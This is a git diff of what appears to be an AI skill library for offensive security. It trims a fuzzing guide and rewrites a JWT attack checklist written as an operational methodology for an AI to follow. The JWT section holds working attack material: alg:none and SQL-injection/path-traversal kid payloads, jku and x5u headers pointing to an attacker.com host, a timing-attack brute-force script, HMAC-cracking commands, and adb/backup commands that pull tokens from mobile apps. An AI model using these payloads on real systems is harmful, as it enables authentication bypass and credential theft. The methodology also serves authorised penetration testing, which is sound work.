-// Add custom mutators, feedback, etc.
-```
-
-#### Snapshot Fuzzing
-
-- Takes a snapshot of the target program/OS memory state and registers
-- Executes from snapshot in emulated environment, mutating memory data
-- Resets to original snapshot when execution crashes or reaches specified point
-- Advantages:
- - Fast execution (skips program startup)
- - Highly deterministic testing
- - No source code required
- - Easy tracking of code coverage and crashes
-- Disadvantages:
- - Time-consuming setup process
- - Requires specialized knowledge
-- Tools:
- - wtf (what the fuzz) – Windows/Linux/macOS, supports > 4 GB snapshots
- - Snapchange (AWS)
- - Nyx v2 – integrates Intel® PT tracing and plugs into AFL++ (`NYX_MODE=1`), sustaining ~20 k exec/s on full VM targets.
-
-#### Embedded Systems Fuzzing
-
-- Targets firmware, IoT devices, and embedded software
-- Challenges:
- - Architecture diversity (MIPS, ARM, etc.)
- - Binary-only targets (no source access)
- - Emulation requirements
- - Limited or no sanitizer support
-- Tools:
- - LibAFL (0.15.2) – Modular Rust framework; key features include Unicorn engine, snapshot module, StatsD monitoring, LBRFeedback, SAND (Decoupled Sanitization) support, and a Rust-based binary-only ASan for its updated QEMU (v9.2.2) backend.
- - Qemu-based emulation
- - Nautilus - Grammar-based fuzzing
-
-#### Language Ecosystem Fuzzing
-
-- Go (1.18+): built‑in fuzzing via `go test -fuzz=Fuzz -run=^$ ./...` with `FuzzXxx(*testing.F, data []byte)` signatures.
-- Python: [Atheris](https://github.com/google/atheris) for native CPython fuzzing; integrates with `pytest` and OSS‑Fuzz.
-- Rust: `cargo-fuzz` (libFuzzer), or LibAFL for custom pipelines; coverage via `cargo llvm-cov`.
-
-#### CI/CD Fuzzing
-
-- Lightweight CI with ClusterFuzzLite or GitHub Actions matrix jobs; cache corpora between runs.
-- Example (GitHub Actions):
-
- ```yaml
- name: fuzz
- on: [push, pull_request]
- jobs:
- afl:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v4
- - name: Build with afl-clang-fast
- run: |
- sudo apt-get update && sudo apt-get install -y clang llvm
- make clean && CC=afl-clang-fast CXX=afl-clang-fast++ make -j
- - name: Run AFL++ (short smoke)
- run: |
- mkdir -p seeds findings
- echo "{}" > seeds/min.json
- timeout 15m afl-fuzz -i seeds -o findings -- ./target @@ || true
- libfuzzer:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v4
- - name: Build fuzz target
- run: |
- cmake -S . -B build -DCMAKE_CXX_FLAGS="-fsanitize=fuzzer,address,undefined -O1 -g"
- cmake --build build -j
- - name: Run fuzz target (sanitizers)
- run: timeout 15m ./build/my_fuzz_target -max_total_time=900 || true
- ```
-
-- Upload artifacts (crashes, logs) in CI for manual triage:
-
- ```yaml
- - name: Upload crashes
- if: always()
- uses: actions/upload-artifact@v4
- with:
- name: crashes
- path: |
- findings/**/crashes/*
- findings/**/hangs/*
- **/*.log
- ```
-
-#### OSS‑Fuzz onboarding (quick checklist)
-
-- Build system supports sanitizers and libFuzzer entrypoints
-- Minimal seed corpus in `seed_corpus/`
-- Reproducers saved on crash; asserts map to sanitizer failures
-- `project.yaml` configured with timeouts, fuzzers, and language
-
-#### LLM‑Guided Fuzzing
-
-- Use LLMs to propose input dictionaries, seed structures, and targeted mutations when coverage stalls.
-- Tools: ChatAFL/HyLLFuzz integrations; prompt with protocol docs or examples to generate grammar hints.
-
-#### Grammar-Based Fuzzing
-
-- Generates inputs according to a defined grammar/structure
-- Useful for highly-structured inputs where random mutations would be rejected
-- Hybrid approaches combine grammar with coverage feedback
-- Examples:
- - Nautilus - Grammar mutational fuzzer
- - AFLSmart - Smart greybox fuzzer with input awareness
- - Tlspuffin - Protocol fuzzer for TLS
-
-#### Triaging and Analysis
-
-- Process for analyzing fuzzer-generated crashes
-- Techniques:
- - Crash reproducibility - Using minimized test cases
- - Crash minimization - Removing unnecessary input bytes
- - Root cause analysis - Identifying the vulnerable code
- - Backtrace reconstruction - Finding where the crash occurs
- - Partial overwrites - Leaking memory addresses
- - Memory pattern analysis - Identifying corruption patterns
-
-#### Extended Instrumentation
-
-- Extends coverage-guided fuzzing instrumentation to collect additional data beyond basic edge coverage
-- Benefits:
- - Identifies vulnerable execution paths more efficiently
- - Provides better feedback to guide the fuzzer toward interesting targets
- - Can focus fuzzing on historically vulnerable code areas
-- Implementation techniques:
- - Access program counter (PC) information during execution
- - Track real-time stack traces to identify vulnerable functions
- - Utilize return address information to trace execution paths
- - Compare PC to specific address spaces of interest
-- Example application:
- - Modifying Fuzzilli's instrumentation for JerryScript to extract useful data
- - Using `__builtin_return_address(0)` to get current PC address
- - Tracking stack traces to narrow down root causes of vulnerabilities
-- Potential improvements:
- - Feed historical vulnerability data to guide future fuzzing
- - Correlate "dangerous" files to their address space
- - Direct fuzzer to focus on specific paths by prioritizing certain inputs
-
-#### eBPF & Kernel‑in‑Kernel Fuzzing
-
-- syzkaller's `executor_bpf` and verifier‑stress templates exercise the in‑kernel eBPF verifier and JIT paths.
-
-#### WebAssembly Runtime Fuzzing
-
-- Differential‑fuzz runtimes such as V8, Wasmer, and Wasmtime with tools like `wasmtime-fuzz` and `wafl`.
-
-#### Smart‑Contract Fuzzing
-
-- Use _Echidna_ and _Foundry‑fuzz_ for Solidity, or _Move‑Fuzz_ for Aptos/Sui; all integrate cleanly into CI pipelines.
-
-#### USB & Bluetooth Stack Fuzzing
-
-- Snapshot‑plus‑wire‑capture harnesses from _HydraUSBFuzz_ and _BT‑SnoopFuzz_ enable realistic peripheral fuzzing.
-
-#### DMA-BUF Subsystem Fuzzing
-
-- Target memory-sharing frameworks in the Linux kernel that don't use traditional `copy_from_user`
-- Focus on fuzzing:
- - Custom implementations of `struct dma_buf_ops` callbacks
- - Page fault handlers in VM operations structures
- - DMA-BUF heap allocation operations
- - Bounds checking in buffer access operations
-- Generate test cases that exercise:
- - Memory mapping with different page offsets
- - Buffer allocation with various sizes and flags
- - Complex interaction patterns between different DMA-BUF operations
-- Use coverage-guided fuzzing with kernel instrumentation to identify execution paths in these subsystems
-
-#### AI/ML Model Fuzzing
-
-- Tools such as _DeepFuzz_ and _TextFuzzer_ measure neuron coverage and search for jailbreak or adversarial failures.
-
-#### Fuzzing Rust Crates
-
-- First‑class Rust support through `cargo‑fuzz`, `honggfuzz‑rs`, or LibAFL with Cargo feature flags.
-
-## Diagrams
-
-### Fuzzer Architecture
-
-```mermaid
-flowchart TB
- Input["Input Generation/Mutation"]
- Target["Target Program"]
- Feedback["Feedback Mechanism"]
- Crash["Crash Detection"]
- Analysis["Crash Analysis"]
-
- Input --> Target
- Target --> Feedback
- Feedback --> Input
- Target --> Crash
- Crash --> Analysis
-
- subgraph Fuzzer
- Input
- Feedback
- end
-
- subgraph Target Environment
- Target
- Crash
- end
-
- subgraph Post-Processing
- Analysis
- end
-```
-
-### Coverage-Guided Fuzzing Process
-
-```mermaid
-sequenceDiagram
- participant F as Fuzzer
- participant H as Harness
- participant T as Target
- participant C as Coverage Tracker
-
- F->>F: Generate/Mutate Input
- F->>H: Send Input
- H->>T: Execute with Input
- T->>C: Record Code Coverage
- C->>F: Return Coverage Info
- F->>F: Evaluate Coverage
- F->>F: Add to Corpus if New Coverage
-
- alt Crash Detected
- T->>H: Crash Information
- H->>F: Report Crash
- F->>F: Save Crash Input
- end
-```
-
-### Memory Error Detection Techniques
-
-```mermaid
-flowchart LR
- M["Memory Errors"]
-
- ASan["Address Sanitizer"]
- MSan["Memory Sanitizer"]
- PHeap["Page Heap"]
- Valgrind["Valgrind"]
-
- M --> ASan
- M --> MSan
- M --> PHeap
- M --> Valgrind
-
- subgraph "Error Types"
- BOF["Buffer Overflow"]
- UAF["Use-After-Free"]
- UIR["Uninitialized Read"]
- end
-
- ASan --> BOF
- ASan --> UAF
- MSan --> UIR
- PHeap --> BOF
- PHeap --> UAF
- Valgrind --> BOF
- Valgrind --> UAF
- Valgrind --> UIR
-```
-
+dmesg -T | egrep -i 'kasan|kmsan' -A 60
+./scripts/decode_stacktrace.sh vmlinux /lib/modules/$(uname -r)/build < dmesg.log
+```
+
+**Reproducibility:** pin CPU governor, disable ASLR only where safe, fix RNG seeds, save input sequences in persistent mode, record binary hashes and sanitizer options with every crash.
+
+## Tool Index
+
+| Tool | Use Case |
+|------|----------|
+| [AFL++](https://github.com/AFLplusplus/AFLplusplus) | General GreyBox, CmpLog, MOpt, Nyx |
+| [Honggfuzz](https://github.com/google/honggfuzz) | Intel PT, crash detection, HF_ITER |
+| [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | In-process, source available |
+| [syzkaller](https://github.com/google/syzkaller) | Linux/Windows kernel syscall fuzzing |
+| [wtf](https://github.com/0vercl0k/wtf) | Snapshot fuzzing, Windows targets |
+| [Nyx](https://github.com/nyx-fuzz/Nyx) | AFL++ snapshot mode (Intel PT) |
+| [Snapchange](https://github.com/awslabs/snapchange) | AWS snapshot fuzzing |
+| [LibAFL](https://github.com/AFLplusplus/LibAFL) | Custom Rust fuzzing framework |
+| [AFLGo](https://github.com/aflgo/aflgo) | Directed fuzzing to target BB/function |
+| [kAFL](https://github.com/IntelLabs/kAFL) | Kernel + OS fuzzing |
+| [Jackalope](https://github.com/googleprojectzero/Jackalope) | Binary coverage-guided (Windows/macOS) |
+| [cargo-fuzz](https://github.com/rust-fuzz/cargo-fuzz) | Rust libFuzzer integration |
+| [Atheris](https://github.com/google/atheris) | Python fuzzing |
+| [Nautilus](https://github.com/nautilus-fuzz/nautilus) | Grammar-based fuzzing |
+| [AFLTriage](https://github.com/quic/AFLTriage) | Automated crash triage |
+| [afl-cov](https://github.com/mrash/afl-cov) | Coverage analysis for AFL++ |
+| [ClusterFuzz](https://github.com/google/clusterfuzz) | Distributed fuzzing infrastructure |
diff --git a/Skills/offensive-jwt/SKILL.md b/Skills/offensive-jwt/SKILL.md
index 53b1011..8ac0987 100644
--- a/Skills/offensive-jwt/SKILL.md
+++ b/Skills/offensive-jwt/SKILL.md
@@ -1,319 +1,190 @@
-# SKILL: JSON Web Tokens (JWT) Security
-
-## Metadata
-- **Skill Name**: jwt-attacks
-- **Folder**: offensive-jwt
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/jwt.md
-
-## Description
-JWT attack checklist: algorithm confusion (none/RS256→HS256), weak secret brute force, kid injection, jku/x5u header injection, JWT header injection, expired token acceptance. Use when testing JWT-based authentication or finding auth bypass via JWT manipulation.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`JWT, JSON Web Token, algorithm confusion, alg none, RS256 HS256, weak secret, kid injection, jku injection, x5u, JWT header injection, JWT attack, token bypass`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
+---
+name: offensive-jwt
+description: "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps."
---
-## Full Methodology
-
-# JSON Web Tokens (JWT) Security
-
-## Shortcut
-
-### Mis-Configurations
-
-- Adding, removing and modifying claims
- - when pen-testing JWT tokens, make sure user can't set the algorithm to `none`
- - or is able to switch between `RSA` and `HMAC`
-- Changing the signature algorithm
-- Removing the signature entirely
-- Brute-forcing a weak signature key
- - or maybe leaking the secret using XXE or SSRF
-- you can also use [JWT Tool](https://github.com/ticarpi/jwt_tool)
-
-### Read Sensitive Information
-
-JWT token should be used for integrity not confidentiality
-
-### Header Injection
+## Overview
-Instructing the server which key to use when verifying the signature. Harden parsing and outbound fetches for:
+Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
-- `jwk` (inline JWK) — rarely safe to accept from untrusted senders
-- `jku`/`x5u` (remote keys) — pin domains, enforce TLS, short TTLs, and `kid` uniqueness
-- `kid` (Key ID) — guard against injection (path traversal/SQLi), collisions, and cache poisoning
+## Quick Reference: Misconfigurations to Check
-### Same Origin Policy
+- Algorithm set to `none` — signature verification bypassed entirely
+- Algorithm switching between `RSA` and `HMAC` (confusion attack)
+- Weak or guessable HMAC secret (brute-forceable)
+- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation
+- Expired or tampered tokens accepted by server
+- Sensitive data stored unencrypted in payload
-SOP prevents the malicious script hosted on a.com from reading the HTML data returned from b.com
-This keeps the malicious script on A from obtaining sensitive information embedded in B.
+Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)
## Mechanisms
-JSON Web Tokens (JWT) are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs consist of three parts:
-
-- **Header**: Specifies the token type and signing algorithm
-- **Payload**: Contains the claims (statements about an entity)
-- **Signature**: Verifies the token hasn't been altered
+JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.
-Common signing algorithms:
+**Signing algorithms:**
-- **HS256/HS384/HS512**: HMAC + SHA-256/384/512 (symmetric)
-- **RS256/RS384/RS512**: RSA + SHA-256/384/512 (asymmetric)
-- **ES256/ES384/ES512**: ECDSA + SHA-256/384/512 (asymmetric)
-- **PS256/PS384/PS512**: RSASSA-PSS + SHA-256/384/512 (asymmetric)
-- **EdDSA (Ed25519/Ed448)**: Edwards‑curve Digital Signature Algorithm (asymmetric)
-- **none**: Unsigned token (highly insecure)
+| Algorithm | Type | Notes |
+|-----------|------|-------|
+| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
+| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
+| ES256/384/512 | Asymmetric ECDSA | |
+| PS256/384/512 | RSASSA-PSS | |
+| EdDSA (Ed25519/Ed448) | Asymmetric | |
+| none | Unsigned | Critically insecure |
-Additional pitfalls:
+**Additional pitfalls:**
+- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`
+- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions
+- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
-- JWS/JWE confusion: accepting an encrypted token (JWE) where a signed token (JWS) is required, or failing open when encountering unexpected `typ`/`cty`.
-- JWKS retrieval risks: SSRF via `jku`/`x5u`, insecure TLS validation, caching poisoned keys, `kid` collisions causing wrong key selection.
-- Token binding: sender‑constrained schemes (DPoP, mTLS) incorrectly implemented allow replay from other clients.
+## Hunt: Identifying JWT Usage
-```mermaid
-sequenceDiagram
- participant User
- participant Client
- participant Server
+1. Check `Authorization: Bearer <token>` headers in all requests
+2. Look for cookies containing JWT structures (`eyJ...`)
+3. Examine browser local/session storage
+4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
+5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces
- User->>Client: Login with credentials
- Client->>Server: Authentication request
- Server->>Server: Verify credentials
- Server->>Client: JWT token
- Note over Client: Store JWT (prefer http‑only secure cookies or secure storage in native apps)
+## Vulnerability Map
- User->>Client: Request protected resource
- Client->>Server: Request with JWT in header
- Server->>Server: Validate JWT signature
- Server->>Server: Verify claims (exp, iss, etc.)
- Server->>Client: Protected resource
```
-
-## Hunt
-
-### Identify JWT Usage
-
-- Check for `Authorization: Bearer [token]` headers
-- Look for cookies containing JWT structures
-- Examine local/session storage in browser
-- Identify token endpoints or authentication flows
-
-### Inspect Token Structure
-
-- Decode the token to examine claims (use jwt.io or BurpSuite JWT extension)
-- Look for sensitive information in payload
-- Check for unusual header parameters (`kid`, `jku`, `jwk`, `x5u`, etc.)
-- Verify algorithm usage in header
-
-### Testing for Vulnerabilities
-
-- Modify claims and observe application behavior
-- Test algorithm switching attacks
-- Check signature verification
-- Look for token expiration/validation issues
-- Test for header injection vulnerabilities
-- Attempt brute force attacks on weak secrets
-- Probe JWKS endpoints: add duplicate `kid`, rotate keys to see if old keys still verify; attempt caching or 304-not-modified abuse.
-- Test `x5u`/`jku` DNS rebinding, and misconfigured HTTP client validation.
-- Try JWS/JWE content-type confusions and unexpected `crit` header usage.
+JWT Vulnerabilities
+├── Algorithm Bypass
+│ ├── alg:none attack
+│ └── RS256→HS256 confusion (public key as HMAC secret)
+├── Weak Secret Key → Brute force
+├── kid Parameter Injection
+│ ├── SQL injection via kid
+│ └── Path traversal via kid
+├── Header Injection
+│ ├── jwk (inline fake key)
+│ ├── jku/x5u (remote attacker-controlled JWKS)
+│ └── JWKS cache poisoning
+└── Missing / Broken Validation
+ ├── No signature check
+ ├── Expired tokens accepted
+ └── iss/aud/exp not validated
+```
## Vulnerabilities
-```mermaid
-graph TD
- JWT[JWT Vulnerabilities] --> Algbp[Algorithm Bypass]
- JWT --> WeakKey[Weak Secret Key]
- JWT --> KeyConf[Key Confusion]
- JWT --> KID[Kid Parameter Injection]
- JWT --> JKU[JKU/JWK Header Injection]
- JWT --> Missing[Missing Signature Validation]
-
- Algbp --> AlgNone["'alg': 'none' Attack"]
- WeakKey --> BruteForce[Brute Force Attack]
- KeyConf --> RSAtoHMAC[RSA to HMAC Confusion]
- KID --> SQLi[SQL Injection via kid]
- KID --> Path[Path Traversal via kid]
- JKU --> FakeJWK[Host Fake JWK]
-
- style JWT fill:#b7b,stroke:#333,color:#333
- style AlgNone fill:#f55,stroke:#333,color:#333
- style BruteForce fill:#f55,stroke:#333,color:#333
- style RSAtoHMAC fill:#f55,stroke:#333,color:#333
- style SQLi fill:#f55,stroke:#333,color:#333
-```
-
### Algorithm Vulnerabilities
-- **Algorithm None**: Some libraries still allow disabling signature validation (`alg:"none"`) when mis‑configured.
-- **Algorithm Confusion**: Servers that mistakenly treat an RSA public key as an HMAC secret when `alg` is switched to HS\*, enabling attacker‑signed tokens.
-- **Key ID Manipulation**: Exploiting `kid` to load wrong keys or inject file/SQL paths; enforce strict lookups and validation
+- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)
+- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key
+- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups
### Signature Vulnerabilities
-- **Weak Secrets**: Brute-forceable HMAC secrets
-- **Missing Signature Validation**: Not verifying signature at all
-- **Broken Signature Validation**: Implementation errors in signature checking
+- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat
+- **Missing Signature Validation** — Token accepted without any verification
+- **Broken Validation** — Implementation errors in signature checking logic
### Implementation Issues
-- **Missing Claims Validation**: Not validating essential claims (`exp`, `nbf`, `aud`)
-- **Insufficient Entropy**: Predictable JWT IDs or tokens
-- **Lack of Expiration**: Tokens without expiration or with very long lifetimes
-- **Insecure Token Transport**: Transmitting tokens over non-HTTPS connections
-- **Debug Information Leakage**: Detailed error messages revealing implementation details
+- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified
+- **Insufficient Entropy** — Predictable JWT IDs or tokens
+- **No Expiration** — Tokens valid indefinitely
+- **Insecure Transport** — Token sent over HTTP
+- **Debug Leakage** — Detailed error messages expose implementation
### Header Injection Attacks
-- **JWK Header Injection**: Supplying a custom public key through the `jwk` header
-- **JKU Manipulation**: Pointing the `jku` (JWK Set URL) to an attacker-controlled location
-- **KID Manipulation**: Various attacks including SQL injection, path traversal, or command injection via the `kid` parameter
-- **x5u Misuse**: Loading untrusted X.509 key URLs with lax TLS validation or redirects
-- **JWKS Cache Poisoning**: Forcing caches to accept attacker keys via `kid` collisions or response header tricks
+- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header
+- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint
+- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
+- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation
+- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass
### Information Disclosure
-- **Sensitive Data in Payload**: PII, credentials, or session details stored unencrypted
-- **Claiming Processing Information**: Information about backends or services in claims
+- Sensitive data (PII, credentials, session details) stored unencrypted in payload
+- Internal service/backend information leaked via claims
## Additional Attack Vectors
### Mobile App JWT Storage
-- **Android**:
- - `SharedPreferences`: Check if world-readable (`MODE_WORLD_READABLE` deprecated but still found)
- - Location: `/data/data/<package>/shared_prefs/`
- - Keystore extraction: Root device or exploit app, extract keys
- - Backup extraction: `adb backup -f backup.ab <package>` (if allowBackup=true)
- - Tools: `Frida`, `objection`, `MobSF` for analysis
-- **iOS**:
- - Keychain: Check `kSecAttrAccessible` attribute
- - `kSecAttrAccessibleAlways`: Accessible even when locked (insecure)
- - `kSecAttrAccessibleWhenUnlocked`: Better but extractable from backup
- - iTunes/iCloud backup extraction: Unencrypted backups expose Keychain
- - Jailbreak + Keychain-Dumper: Extract all keychain items
- - Tools: `Frida`, `objection`, `idb` for runtime analysis
-- **React Native / Hybrid Apps**:
- - `AsyncStorage`: Stored in plain text, easily readable
- - Location: Android SQLite DB, iOS plist files
- - No encryption by default
-- **Testing**:
-
- ```bash
- # Android - check SharedPreferences
- adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
-
- # iOS - extract from backup
- idevicebackup2 backup --full /path/to/backup
- # Use plist/sqlite tools to extract JWT
- ```
+**Android:**
+- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`
+- Keystore extraction: root device or exploit app
+- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)
+- Tools: Frida, objection, MobSF
-### JWT Confusion Attacks
+**iOS:**
+- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure
+- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
+- Jailbreak + Keychain-Dumper for full extraction
+- Tools: Frida, objection, idb
+
+**React Native / Hybrid:**
+- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default
+
+```bash
+# Android — check SharedPreferences
+adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
+
+# iOS — extract from backup
+idevicebackup2 backup --full /path/to/backup
+# Use plist/sqlite tools to extract JWT
+```
-- **SAML-JWT Confusion**: Application accepts both SAML assertions and JWTs
- - Bypass SAML signature verification by sending JWT instead
- - Or vice versa - send SAML where JWT expected with weaker validation
-- **API Key-JWT Confusion**: Endpoint accepts multiple auth methods
+### JWT Confusion Attacks
- ```bash
- # Try API key where JWT expected
- curl -H "Authorization: Bearer <api_key>" https://api.target/resource
+- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
+- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa
+- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session
+- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token
- # Try JWT where API key expected
- curl -H "X-API-Key: <jwt_token>" https://api.target/resource
- ```
+```bash
+# Try API key where JWT expected
+curl -H "Authorization: Bearer <api_key>" https://api.target/resource
-- **Session Cookie-JWT Hybrid**: App accepts either session cookie OR JWT
- - Test if session validation is weaker
- - Can you use an expired JWT with valid session cookie?
- - Or inject JWT claims into session cookie
-- **OAuth Token-JWT Confusion**: OAuth access tokens vs ID tokens
- - Send ID token (JWT) to resource server expecting opaque access token
- - Resource server may not validate properly
+# Try JWT where API key expected
+curl -H "X-API-Key: <jwt_token>" https://api.target/resource
+```
### Timing Attacks on HMAC
-- **Brute-force via Timing**:
- - HMAC verification can leak secret character-by-character via timing
- - Non-constant-time comparison: `if (signature == expected)`
- - Attack: Measure response time for different signature attempts
- - Tools: Custom scripts with microsecond precision timing
-- **Exploit**:
-
- ```python
- import requests
- import time
-
- def time_request(signature):
- start = time.perf_counter()
- r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'})
- return time.perf_counter() - start
-
- # Brute force first byte
- for byte in range(256):
- sig = bytes([byte]) + b'\x00' * 31
- t = time_request(sig.hex())
- # Character with longer response time is likely correct
- ```
+Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
+
+```python
+import requests, time
+
+def time_request(signature):
+ start = time.perf_counter()
+ r = requests.get('https://target/api',
+ headers={'Authorization': f'Bearer header.payload.{signature}'})
+ return time.perf_counter() - start
+
+# Brute-force first byte — longer response time indicates correct byte
+for byte in range(256):
+ sig = bytes([byte]) + b'\x00' * 31
+ t = time_request(sig.hex())
+```
### JWT in URL Parameters
-- **Security Issues**:
- - Tokens in GET URLs logged in server logs, proxy logs, browser history
- - Leaked via `Referer` header when navigating to external sites
- - Exposed in browser history (F12 Network tab)
- - CDN/cache logs may store tokens
-- **Testing**:
- ```bash
- # Check if API accepts token in URL
- curl "https://api.target/resource?token=eyJ..."
- curl "https://api.target/resource?access_token=eyJ..."
- curl "https://api.target/resource?jwt=eyJ..."
- ```
-- **Exploitation**: Search server logs, proxy logs for exposed tokens
- - Check Wayback Machine for historical URLs with tokens
- - Monitor Referer headers sent to third-party analytics
-
-## ETC
-
-- **PASETO** – removes algorithm negotiation entirely and avoids confusion attacks.
-- **Macaroons** – bearer tokens that include attenuable, caveat‑based delegation.
-- **DPoP and mTLS** – bind tokens to the client to prevent replay; verify proofs on every request and enforce one‑time use semantics for nonces.
-
-## Methodologies
-
-### Tools
-
-- **JWT.io**: For basic token inspection and debugging
-- **Burp Suite JWT Scanner**: Automated testing of JWT implementations
-- **JWT_Tool**: Comprehensive testing of JWT vulnerabilities (`python3 jwt_tool.py`)
-- **jwtXploiter**: Advanced JWT vulnerability scanning
-- **JWTear**: For tearing apart JWTs and testing vulnerabilities
-- **jwt_killer**: Automated token testing with multiple attack vectors
-- **c-jwt-cracker**: High-speed brute force for HMAC secrets (C implementation)
-- **Burp Suite**: JWT Editor extension, Autorize for auth diffing, Auth Analyzer
-- **jose/jwx libraries** (dev): enable strict modes to reproduce edge cases
-- **Mobile Tools**: Frida, objection, MobSF (for extracting JWTs from mobile apps)
-
-### Manual Testing Steps
-
-1. **Decode and Inspect**:
+- Tokens in GET URLs appear in server logs, proxy logs, browser history
+- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens
+```bash
+curl "https://api.target/resource?token=eyJ..."
+curl "https://api.target/resource?access_token=eyJ..."
+curl "https://api.target/resource?jwt=eyJ..."
+```
+
+Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
+
+## Manual Testing Steps
+
+1. **Decode and Inspect:**
```
- base64url_decode(header).base64url_decode(payload).signature
+ base64url_decode(header) . base64url_decode(payload) . signature
```
-2. **Test "none" Algorithm**:
-
+2. **Test `none` Algorithm** (try all case variants):
```
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
@@ -321,76 +192,83 @@ graph TD
{"alg":"nOnE","typ":"JWT"}.payload.""
```
-3. **Algorithm Confusion**:
-
-```
-# Attempt to switch RS256→HS256 and abuse server using RSA public key as HMAC secret (if misconfigured)
-{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
-```
-
-4. **Kid Parameter Attacks**:
+3. **Algorithm Confusion (RS256→HS256):**
+ ```
+ # Re-sign with RSA public key used as HMAC secret
+ {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
+ ```
+4. **kid Parameter Attacks:**
```
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
```
-5. **JWK/JKU Injection**:
-
+5. **JWK/JKU Injection:**
```
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
```
-6. **x5u / crit Handling**:
-
-```
-{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
-{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
-```
-
-6. **Brute Force HMAC Secrets**:
-
+6. **x5u / crit Handling:**
+ ```
+ {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
+ {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
```
+
+7. **Brute Force HMAC Secret:**
+ ```bash
python3 jwt_tool.py <token> -C -d wordlist.txt
```
-7. **Testing Missing Validation**:
- - Remove or modify the expiration claim (`exp`)
- - Change issuer (`iss`) or audience (`aud`)
- - Modify token issuance time (`iat`) or not-before time (`nbf`)
+8. **Test Missing Claim Validation:**
+ - Remove or modify `exp` (expiration)
+ - Change `iss` (issuer) or `aud` (audience)
+ - Modify `iat` (issued at) or `nbf` (not before)
-### Automated Testing with JWT_Tool
+## Automated Testing with JWT_Tool
```bash
-# Basic token testing
+# Basic token inspection
python3 jwt_tool.py <token>
-# Scanning for vulnerabilities
+# Full vulnerability scan
python3 jwt_tool.py <token> -M all
-# Testing specific vulnerabilities
+# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
-python3 jwt_tool.py <token> -X n # null signature
+python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
-# Cracking secrets
+# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
```
-## Remediation Recommendations
+**Other tools:**
+- JWT.io — basic token inspection and debugging
+- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
+- jwtXploiter — advanced JWT vulnerability scanning
